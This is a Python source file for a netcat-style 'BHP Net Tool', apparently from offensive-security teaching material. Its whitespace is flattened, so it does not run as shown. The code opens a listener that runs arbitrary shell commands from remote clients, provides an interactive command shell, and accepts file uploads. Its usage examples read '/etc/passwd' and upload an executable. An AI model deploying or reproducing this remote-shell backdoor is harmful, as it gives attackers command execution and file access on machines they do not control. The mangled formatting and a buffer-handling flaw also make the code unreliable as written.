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| import sys import socket import getopt import threading import subprocess import time
listen = False command = False execute = "" target = "" upload_destination = "" port = 0
def usage(): print("BHP Net Tool\n\n") print("Usage: nc.py -t target_host -p port") print( "-l --listen \ - listen on [host]:[port] for incoming connections") print("-e --execute=file_to_run \ -command execute the given file upon receiving a connection") print("-c --command - initialize a command shell") print( "-u --upload=destination \ - upon receiving connection upload \ a file and write to [destination]\n\n") print("Examples: \n") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"") print("echo 'ABCDEF' | nc.py -t 192.168.11.12 -p 135") sys.exit(0)
def server_loop(): global target if not len(target): target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port))
server.listen(5)
while True: client_socket, addr = server.accept() try: client_thread = threading.Thread( target=client_handler, args=(client_socket,)) client_thread.start() except Exception as e: print(e)
def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: client.connect((target, port)) client.settimeout(30) if len(buffer)!=0: client.send(buffer.encode())
while True:
recv_len = 1 response = ""
while recv_len: data = client.recv(4096).decode("utf-8") recv_len = len(data) response += data
if recv_len < 4096: break
print("client: "+response.strip("\n"))
buffer = "server: " buffer += input() buffer += "\n"
client.send(buffer.encode())
except Exception as e: print(e) print("[*] Exception! Exiting") client.close()
def run_command(command): command = command.rstrip() try: output = subprocess.check_output( command, stderr=subprocess.STDOUT, shell=True, universal_newlines=True) except: output = "Failed to execute command.\r\n" return output
def client_handler(client_socket): global execute global command
if len(upload_destination): file_buffer = ""
while True: data = client_socket.recv(1024).decode("utf-8")
if not data: break else: file_buffer += data if "#" in file_buffer: file_buffer = file_buffer[:-2] break
try: file_descriptor = open(upload_destination, "wb") file_descriptor.write(file_buffer.encode()) file_descriptor.close()
client_socket.send(b"Succesfully saved file") except: client_socket.send(b"Failed to saved file") client_socket.close()
if len(execute): output = run_command(execute) client_socket.send(output.encode())
if command: while True: client_socket.send(b"<BHP:#>: ")
cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer = client_socket.recv(1024).decode("gbk") response = run_command(cmd_buffer)
client_socket.send(response.encode())
def main(): global listen global port global execute global command global upload_destination global target
if not(len(sys.argv[1:])): usage()
try: opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", [ "help", "listen", "execute=", "target=", "port=", "command=", "upload="]) except getopt.GetoptError as err: print(str(err)) usage()
for o, a in opts: if o in ("-h", "--help"): usage() elif o in ("-l", "--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--command"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False, "Unhandled Option"
if not listen and len(target) and (port > 0): buffer = "" buffer = input() + '\n'
client_sender(buffer)
if listen: server_loop()
if __name__ == '__main__': main()
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